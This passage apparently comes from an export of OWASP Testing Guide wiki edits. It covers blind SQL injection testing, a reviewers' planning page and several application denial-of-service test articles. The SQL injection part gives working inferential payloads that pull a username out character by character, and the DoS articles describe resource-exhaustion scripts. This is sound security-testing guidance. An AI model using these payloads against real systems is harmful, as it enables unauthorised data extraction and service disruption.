 &amp;lt;nowiki&amp;gt;http://www.example.com/index.php?id=1' &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
we will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is: &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE Id='$Id' &lt;br /&gt;
&lt;br /&gt;
which is exploitable through the methods seen previously. &lt;br /&gt;
What we want is to obtain the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present practically in every database. For our examples we will use the following pseudo-functions: &lt;br /&gt;
&lt;br /&gt;
'''SUBSTRING (text, start, length)''': it returns a substring starting from the position &amp;quot;start&amp;quot; of text and of length &amp;quot;length&amp;quot;. If &amp;quot;start&amp;quot; is greater than the length of text, the function returns a null value. &lt;br /&gt;
&lt;br /&gt;
'''ASCII (char)''': it gives back ASCII value of the input character. A null value is returned if char is 0.&lt;br /&gt;
&lt;br /&gt;
'''LENGTH (text)''': it gives back the length in characters of the input text.&lt;br /&gt;
&lt;br /&gt;
Through such functions we will execute our tests on the first character and, when we will have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. &lt;br /&gt;
The tests will take advantage of the function SUBSTRING in order to select only one character at time (selecting a single character means to impose the length parameter to 1) and function ASCII in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of ASCII table, until finding the desired value.&lt;br /&gt;
As an example we will insert the following value for ''Id'': &lt;br /&gt;
&lt;br /&gt;
 $Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1 &lt;br /&gt;
&lt;br /&gt;
that creates the following query (from now on we will call it &amp;quot;inferential query&amp;quot;): &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'&lt;br /&gt;
&lt;br /&gt;
The previous returns a result if and only if the first character of field username is equal to the ASCII value 97. If we get a false value then we increase the index of ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the table and we pass to analyze the next character, modifying the parameters of SUBSTRING function.&lt;br /&gt;
The problem is to understand in that way we distinguish the test that has carried a true value, from the one that has carried a false value.&lt;br /&gt;
In order to make this we create a query that we are sure returns a false value. &lt;br /&gt;
This is possible by the following value as field ''Id'': &lt;br /&gt;
&lt;br /&gt;
 $Id=1' AND '1' = '2 &lt;br /&gt;
&lt;br /&gt;
by which will create the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2' &lt;br /&gt;
&lt;br /&gt;
The answer of the server obtained (that is HTML code) will be the false value for our tests. &lt;br /&gt;
This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test exposed before. &lt;br /&gt;
Sometimes this method does not work. In the case the server returns two defferent pages as a result of two identical consecutive web requests we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two template in order to decide the result of the test.&lt;br /&gt;
In the previous tests, we are supposed to know in what way it is possible to understand when we have ended the inference beacause we have obtained the value. &lt;br /&gt;
In order to understand when we have ended, we will use one characteristic of the SUBSTRING function and the LENGTH function.&lt;br /&gt;
When our test will return a true value and we would have used an ASCII code equals to 0 (that is the value null), then that mean that we have ended to make inference, or that the value we have analyzed effectively contains the value null.&lt;br /&gt;
&lt;br /&gt;
We will insert the following value for the field ''Id'': &lt;br /&gt;
&lt;br /&gt;
 $Id=1' AND LENGTH(username)=N AND '1' = '1 &lt;br /&gt;
&lt;br /&gt;
Where N is the number of characters that we have analyzed with now (excluded the null value). &lt;br /&gt;
The query will be: &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1' &lt;br /&gt;
&lt;br /&gt;
that gives back a true or false value. If we have a true value, then we have ended to make inference and therefore we have gained the value of the parameter. If we obtain a false value, this means that the null character is present on the value of the parameter, then we must continue to analyze the next parameter until we will find another null value.&lt;br /&gt;
&lt;br /&gt;
The blind sql injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.&lt;br /&gt;
A simple tool which performs this task, via GET requests on MySql DB is SqlDumper, is shown below.&lt;br /&gt;
&lt;br /&gt;
[[Image:sqldumper.jpg]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Victor Chapela: &amp;quot;Advanced SQL Injection&amp;quot; - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt&lt;br /&gt;
* Chris Anley: &amp;quot;Advanced SQL Injection In SQL Server Applications&amp;quot; - http://www.nextgenss.com/papers/advanced_sql_injection.pdf&lt;br /&gt;
* Chris Anley: &amp;quot;More Advanced SQL Injection&amp;quot; - http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.nextgenss.com/research/papers/sqlinference.pdf&lt;br /&gt;
* Kevin Spett: &amp;quot;SQL Injection&amp;quot; - http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf&lt;br /&gt;
* Kevin Spett: &amp;quot;Blind SQL Injection&amp;quot; - http://www.spidynamics.com/whitepapers/Blind_SQLInjection.pdf&lt;br /&gt;
* Imperva: &amp;quot;Blind Sql Injection&amp;quot; - http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Francois Larouche: Multiple DBMS Sql Injection tool - [[http://www.sqlpowerinjector.com/index.htm SQL Power Injector]]&amp;lt;br&amp;gt;&lt;br /&gt;
* ilo--:  MySql Blind Injection Bruteforcing, Reversing.org - [[http://www.reversing.org/node/view/11 sqlbftools]]&amp;lt;br&amp;gt;&lt;br /&gt;
* Daniele Bellucci: MySql Injection Inference tool - [[http://sourceforge.net/projects/sqlmap SqlMap]]&amp;lt;br&amp;gt;&lt;br /&gt;
* Antonio Parata: Dump Files by sql inference on Mysql - [[http://www.ictsc.it/site/IT/projects/sqlDumper/sqldumper.src.tar.gz SqlDumper]]&amp;lt;br&amp;gt;&lt;br /&gt;
* icesurfer: [http://sqlninja.sourceforge.net sqlninja]&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v2_Review_Panel&amp;diff=12594</id>
		<title>OWASP Testing Guide v2 Review Panel</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v2_Review_Panel&amp;diff=12594"/>
				<updated>2006-11-14T18:47:48Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/OWASP_Testing_Guide_v2_Table_of_Contents Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
Update: 13th November, 11.00 (GMT+1)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
**********************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;Reviewing planning&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
**********************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The reviewers are:&lt;br /&gt;
Mark Roxberry,&lt;br /&gt;
Alberto Revelli,&lt;br /&gt;
Daniel Cuthbert,&lt;br /&gt;
Matteo G.P. Flora,&lt;br /&gt;
Matteo Meucci,&lt;br /&gt;
Eoin Keary,&lt;br /&gt;
Stefano Di Paola,&lt;br /&gt;
James Kist,&lt;br /&gt;
Vicente Aguilera,&lt;br /&gt;
Mauro Bregolin,&lt;br /&gt;
Syed Mohamed A&lt;br /&gt;
&lt;br /&gt;
We can begin the 1st reviewing phase by review all 63 articles (nearly 13 articles per person). The deadline is 15th November at 20.00 (GMT+1) because we have 15th November as 1st deadline for the Autumn of Code Project.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*********************************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;We are waiting for the following articles &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*********************************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4.2.2 Spidering and googling (0%, Tom Brennan, Tom Ryan) &amp;lt;br&amp;gt;&lt;br /&gt;
4.2.4.2 DB Listener Testing (0%, Alexander Kornbrust)&amp;lt;br&amp;gt;&lt;br /&gt;
4.5.5 HTTP Exploit (0%, Arian J.Evans)&amp;lt;br&amp;gt;&lt;br /&gt;
4.6.2.2 Oracle testing (0%,Alexander Kornbrust)&amp;lt;br&amp;gt;&lt;br /&gt;
4.6.4 ORM Injection (0%, Mark Roxberry)&amp;lt;br&amp;gt;&lt;br /&gt;
5. Writing Reports: value the real risk&amp;lt;br&amp;gt;&lt;br /&gt;
5.1 How to value the real risk (50%, Daniel Cuthbert, Matteo Meucci, Sebastien Deleersnyder, Marco Morana)&amp;lt;br&amp;gt;&lt;br /&gt;
5.2 How to write the report of the testing (0%, Daniel Cuthbert, Tom Brennan, Tom Ryan) &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*********************************************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;Here is the complete list of articles to be reviewed: &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*********************************************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''Introduction --&amp;gt;...'''&lt;br /&gt;
1 of 1 article to be reviewed  -&amp;gt; reviewed by Eoin Keary&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''The OWASP Testing Framework --&amp;gt;...'''&lt;br /&gt;
1 of 1 article to be reviewed &lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.1 Introduction and objectives --&amp;gt;.EK'''&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.2 Information Gathering (Reviewed by EK) --&amp;gt; Keary'''&lt;br /&gt;
9 of 10 articles to be reviewed -&amp;gt; &amp;lt;BR&amp;gt; &lt;br /&gt;
* '''Application Discovery''': &lt;br /&gt;
** Reviewed + updated(EK) (Maybe we should include HTTP methods for application descovery, such as HTTP HEAD command?)&amp;lt;BR&amp;gt;&lt;br /&gt;
* '''Analysis of error codes''': &lt;br /&gt;
** Reviewed + updated(EK) &amp;lt;BR&amp;gt;&lt;br /&gt;
* '''Infrastructure configuration management testing AoC''': &lt;br /&gt;
** Reviewed by EK. '''Not in typical guide structure'''&amp;lt;BR&amp;gt;&lt;br /&gt;
* '''SSL/TLS Testing AoC''': &lt;br /&gt;
** Reviewed + updated(EK) &amp;lt;BR&amp;gt;&lt;br /&gt;
* '''DB Listener Testing''': &lt;br /&gt;
** '''Incomplete'''&amp;lt;BR&amp;gt;&lt;br /&gt;
* '''Application configuration management testing''': &lt;br /&gt;
** Reviewed by EK. '''Not typical guide structure'''&lt;br /&gt;
** This is generally a &amp;quot;white box&amp;quot; section. There are no examples of testing the configuration from a remote perspective. If this was the aim of the document, thats fine. '''- Need feedback on this one!!'''&lt;br /&gt;
** ''Sample/known files and directories'': might be good to refer to http://www.owasp.org/index.php/Old_file_testing_AoC ??&lt;br /&gt;
** ''Logging'': Timestamp is also important&lt;br /&gt;
* '''File extensions handling'''&amp;lt;BR&amp;gt;&lt;br /&gt;
** contains the text: &amp;quot;''...To review and expand...''&amp;quot; - '''Is this complete??'''&lt;br /&gt;
** '''Need a second opinion on this one'''!! :)&lt;br /&gt;
* '''Old file testing''': Reviewed by EK&lt;br /&gt;
&amp;lt;BR&amp;gt;&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.3 Business logic testing --&amp;gt;...'''&lt;br /&gt;
1 of 1 article to be reviewed &lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.4 Authentication Testing --&amp;gt; Roxberry'''&lt;br /&gt;
5 of 5 articles to be reviewed &lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.5 Session Management Testing --&amp;gt; Syed Mohamed A'''&lt;br /&gt;
5 of 6 articles to be reviewed  &lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.6 Data Validation Testing --&amp;gt; Meucci'''&lt;br /&gt;
18 of 21 articles to be reviewed &lt;br /&gt;
** '''4.6 Data Validation Testing''' : Reviewed by EK&lt;br /&gt;
** 4.6.1 - '''Cross site scripting''': Reviewed by EK (Reformatted it slightly with wiki tags)&lt;br /&gt;
** 4.6.1.1 HTTP Methods and XST Reviewed by MM&lt;br /&gt;
** 4.6.2 SQL Injection (90%) Reviewed by MM. Eoin can you review Eng, please?&lt;br /&gt;
** 4.6.2.1 Stored procedure injection (40%) TD&lt;br /&gt;
**4.6.2.2 Oracle testing (0%) TD&lt;br /&gt;
** 4.6.2.3 MySQL testing (100%) Reviewed by MM&lt;br /&gt;
** 4.6.2.4 SQL Server testing (95%) Reviewed by MM. tools?&lt;br /&gt;
** 4.6.3 LDAP Injection (90%) Reviewed by MM added wp and tools&lt;br /&gt;
** 4.6.4 ORM Injection (0%) TD&lt;br /&gt;
** 4.6.5 XML Injection (80%)&lt;br /&gt;
** 4.6.6 SSI Injection (95%)&lt;br /&gt;
** 4.6.7 XPath Injection (80%)&lt;br /&gt;
** 4.6.8 IMAP/SMTP Injection (95%)&lt;br /&gt;
** 4.6.9 Code Injection (70%)&lt;br /&gt;
** 4.6.10 OS Commanding (70%)&lt;br /&gt;
** 4.6.11 Buffer overflow Testing (100%)&lt;br /&gt;
** 4.6.11.1 Heap overflow (100%)&lt;br /&gt;
** 4.6.11.2 Stack overflow (100%)&lt;br /&gt;
** 4.6.11.3 Format string (100%)&lt;br /&gt;
** 4.6.12 Incubated vulnerability testing (95%) &lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''4.7 Denial of Service Testing'''&lt;br /&gt;
8 of 8 articles reviewed by Revelli&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.8 Web Services Testing --&amp;gt;...'''&lt;br /&gt;
6 of 6 articles to be reviewed (No Keary)&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.9 AJAX Testing --&amp;gt; Roxberry'''&lt;br /&gt;
6 of 6 articles to be reviewed (No Di Paola)&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''5. Writing Reports: value the real risk'''&lt;br /&gt;
We have to write about it. I consider it not yet finished.&lt;br /&gt;
O of 3 articles to be reviewed.&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''Appendix A: Testing Tools --&amp;gt;...'''&lt;br /&gt;
1 article of 1: need to update it searching all the guide for paragraps: tools&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''Appendix B: Suggested Reading --&amp;gt;...'''&lt;br /&gt;
1 article of 1: need to update it searching all the guide for paragraps: tools&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''Appendix C: Fuzz Vectors --&amp;gt;...'''&lt;br /&gt;
1 article of 1: Need to be updated&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Reviewers  Rules &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
1) Check the english language&amp;lt;br&amp;gt;&lt;br /&gt;
2) Check the template: the articles on chapter 4 should have the following:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Template (http://www.owasp.org/index.php/Template_Paragraph_Testing_AoC)&lt;br /&gt;
&lt;br /&gt;
In some articles we don't need to talk about Gray Box Testing or other, so we can eliminate it.&lt;br /&gt;
&lt;br /&gt;
3) Check the reference style. (I'd like to have all the referenced URLs visible because I have to produce also a pdf document of the Guide).&lt;br /&gt;
I agree with Stefano, we have to use a reference like that:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;== References ==&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;'''Whitepapers'''&amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;* [1] Author1, Author2: &amp;quot;Title&amp;quot; - http://www.ietf.org/rfc/rfc2254.txt&amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;* [2]...&amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;'''Tools'''&amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;* Francois Larouche: &amp;quot;Multiple DBMS Sql Injection tool&amp;quot; - http://www.sqlpowerinjector.com/index.htm &amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4) Check the reference with the other articles of the guide or with the other OWASP Project.&lt;br /&gt;
&lt;br /&gt;
5) Other?&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Storing_too_Much_Data_in_Session_(OWASP-DS-008)&amp;diff=12593</id>
		<title>Testing for Storing too Much Data in Session (OWASP-DS-008)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Storing_too_Much_Data_in_Session_(OWASP-DS-008)&amp;diff=12593"/>
				<updated>2006-11-14T18:46:18Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
In this test, we check whether it is possible to allocate big amounts of data into a user session object in order to make the server to exhaust its memory resources.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
Care must be taken not to store too much data in a user session object. Storing too much information, such as large quantities of data retrieved from the database, in the session can cause denial of service issues. This problem is exacerbated if session data is also tracked prior to a login, as a user can launch the attack without the need of an account.&lt;br /&gt;
&lt;br /&gt;
==Black Box Testing and Examples==&lt;br /&gt;
&lt;br /&gt;
This is again a difficult case to test in a pure black box setting.  Likely places will be where a large number of records are retrieved from a database based on data provided by the user during their normal application use.  Good candidates may also include functionality related to viewing pages of a larger record set a portion at a time.  The developer may have chosen to cache the records in the session instead of returning to the database for the next block of data.  If this is suspected, create a script to automate the creation of many new sessions with the server and run the request that is suspected of caching the data within the session for each one.  Let the script run for a while, and then observe the responsiveness of the application for new sessions.  It may be possible that a Virtual Machine (VM) or even the server itself will begin to run out of memory because of this attack.&lt;br /&gt;
&lt;br /&gt;
==Gray Box Testing and Examples==&lt;br /&gt;
If available, SNMP can provide information about the memory usage of a machine. Being able to monitor the target memory usage can greatly help when performing this test, as the tester would be able to see what happens when the script described in the previous section is launched.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[category:Denial of Service Attack]]&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Denial_of_Service&amp;diff=12592</id>
		<title>Testing for Denial of Service</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Denial_of_Service&amp;diff=12592"/>
				<updated>2006-11-14T18:46:05Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
&lt;br /&gt;
The most common type of denial of service (DoS) attack is the kind used on a network to make a server unreachable by other valid users. The fundamental concept of a network DoS attack is a malicious user flooding enough traffic to a target machine, that it renders the target incapable of keeping up with the volume of requests it is receiving. When the malicious user uses a large number of machines to flood traffic to a single target machine, this is generally known as a distributed denial of service (DDoS) attack. These types of attacks are generally beyond the scope of what an application developer can prevent within their own code. This type of “battle of the network pipes” is best mitigated via network architecture solutions.&lt;br /&gt;
&lt;br /&gt;
There are, however, types of vulnerabilities within applications that can allow a malicious user to make certain functionality or sometimes the entire website unavailable. These problems are caused by bugs in the application, often resulting from malicious or unexpected user input.  This section will focus on application layer attacks against availability that can be launched by just one malicious user on a single machine.&lt;br /&gt;
&lt;br /&gt;
Here are the DoS testings we will talk about:&lt;br /&gt;
 &lt;br /&gt;
#[[DoS Testing: Locking Customer Accounts]]	&lt;br /&gt;
#[[DoS Testing: Buffer Overflows]]	&lt;br /&gt;
#[[DoS Testing: User Specified Object Allocation]]	&lt;br /&gt;
#[[DoS Testing: User Input as a Loop Counter]]	&lt;br /&gt;
#[[DoS Testing: Writing User Provided Data to Disk]]	&lt;br /&gt;
#[[DoS Testing: Failure to Release Resources]]	&lt;br /&gt;
#[[DoS Testing: Storing too Much Data in Session]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
Stephen de Vries, Application denial of service (DoS) attacks: http://www.corsaire.com/white-papers/040405-application-level-dos-attacks.pdf&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[Category:Denial of Service Attack]]&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Storing_too_Much_Data_in_Session_(OWASP-DS-008)&amp;diff=12589</id>
		<title>Testing for Storing too Much Data in Session (OWASP-DS-008)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Storing_too_Much_Data_in_Session_(OWASP-DS-008)&amp;diff=12589"/>
				<updated>2006-11-14T18:34:37Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
In this test, we check whether it is possible to allocate big amounts of data into a user session object in order to make the server to exhaust its memory resources.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
Care must be taken not to store too much data in a user session object. Storing too much information, such as large quantities of data retrieved from the database, in the session can cause denial of service issues. This problem is exacerbated if session data is also tracked prior to a login, as a user can launch the attack without the need of an account.&lt;br /&gt;
&lt;br /&gt;
==Black Box Testing and Examples==&lt;br /&gt;
&lt;br /&gt;
This is again a difficult case to test in a pure black box setting.  Likely places will be where a large number of records are retrieved from a database based on data provided by the user during their normal application use.  Good candidates may also include functionality related to viewing pages of a larger record set a portion at a time.  The developer may have chosen to cache the records in the session instead of returning to the database for the next block of data.  If this is suspected, create a script to automate the creation of many new sessions with the server and run the request that is suspected of caching the data within the session for each one.  Let the script run for a while, and then observe the responsiveness of the application for new sessions.  It may be possible that a Virtual Machine (VM) or even the server itself will begin to run out of memory because of this attack.&lt;br /&gt;
&lt;br /&gt;
==Gray Box Testing and Examples==&lt;br /&gt;
If available, SNMP can provide information about the memory usage of a machine. Being able to monitor the target memory usage can greatly help when performing this test, as the tester would be able to see what happens when the script described in the previous section is launched.&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
Stephen de Vries, Application denial of service (DoS) attacks: http://www.corsaire.com/white-papers/040405-application-level-dos-attacks.pdf&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[category:Denial of Service Attack]]&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_DoS_Failure_to_Release_Resources_(OWASP-DS-007)&amp;diff=12575</id>
		<title>Testing for DoS Failure to Release Resources (OWASP-DS-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_DoS_Failure_to_Release_Resources_(OWASP-DS-007)&amp;diff=12575"/>
				<updated>2006-11-14T17:46:04Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
With this test, we check that the application properly releases resources (files and/or memory) after they have been used. &lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
If an error occurs in the application that prevents the release of an in-use resource, it can become unavailable for further use. Possible examples include:&lt;br /&gt;
* An application locks a file for writing, and then an exception occurres but does not explicitly close and unlock the file&lt;br /&gt;
* Memory leaking in languages where the developer is responsible for memory management such as C &amp;amp; C++. In the case where an error causes normal logic flow to be circumvented, the allocated memory may not be removed and may be left in such a state that the garbage collector does not know it should be reclaimed&lt;br /&gt;
* Use of DB connection objects where the objects are not being freed if an exception is thrown. A number of such repeated requests can cause the application to consume all the DB connections, as the code will still hold the open DB object, never releasing the resource.&lt;br /&gt;
&lt;br /&gt;
The following is an example of vulnerable code in Java.  In the example, both the Connection and the CallableStatement should be closed in a finally block.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
public class AccountDAO {&lt;br /&gt;
    … …&lt;br /&gt;
    public void createAccount(AccountInfo acct)  &lt;br /&gt;
                 throws AcctCreationException {&lt;br /&gt;
       … …&lt;br /&gt;
	try {&lt;br /&gt;
	   Connection conn = DAOFactory.getConnection();&lt;br /&gt;
	   CallableStatement  calStmt = conn.prepareCall(…);&lt;br /&gt;
          … …	&lt;br /&gt;
          calStmt.executeUpdate();&lt;br /&gt;
	   calStmt.close();&lt;br /&gt;
          conn.close();&lt;br /&gt;
       }  catch (java.sql.SQLException e) {&lt;br /&gt;
	   throw AcctCreationException (...);&lt;br /&gt;
       }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Black Box Testing and Examples==&lt;br /&gt;
&lt;br /&gt;
Generally, it will be very difficult to observe these types of resource leaks in a pure black box test.  If you can find a request you suspect is performing a database operation, which will cause the server to throw an error that looks like it might be an unhandled exception, you can automate the process of sending a few hundred of these requests very quickly.  Observe any slowdown or new error messages from the application while using it during normal, legitimate use.&lt;br /&gt;
&lt;br /&gt;
==White Box Testing and Examples==&lt;br /&gt;
&lt;br /&gt;
It might be possible, in some cases, to monitor the disk space and/or the memory usage of the target. That can happen usually when the test is performed over a local network. Possible ways to obtain this information include the following scenarios:&lt;br /&gt;
# The server that hosts the application allows the tester to mount its filesystem or some parts of it&lt;br /&gt;
# The server provides disk space and/or memory usage information via SNMP &lt;br /&gt;
&lt;br /&gt;
In such cases, it may be possible to observe the memory or disk usage on the server while trying to inject data into the application, with the intent of causing an exception or error that may not be handled cleanly by the application.  Attempts to cause these types of errors should include special characters that may not have been expected as valid data (e.g., !, |, and ‘).&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[category:Denial of Service Attack]]&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Writing_User_Provided_Data_to_Disk_(OWASP-DS-006)&amp;diff=12569</id>
		<title>Testing for Writing User Provided Data to Disk (OWASP-DS-006)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Writing_User_Provided_Data_to_Disk_(OWASP-DS-006)&amp;diff=12569"/>
				<updated>2006-11-14T17:04:49Z</updated>
		
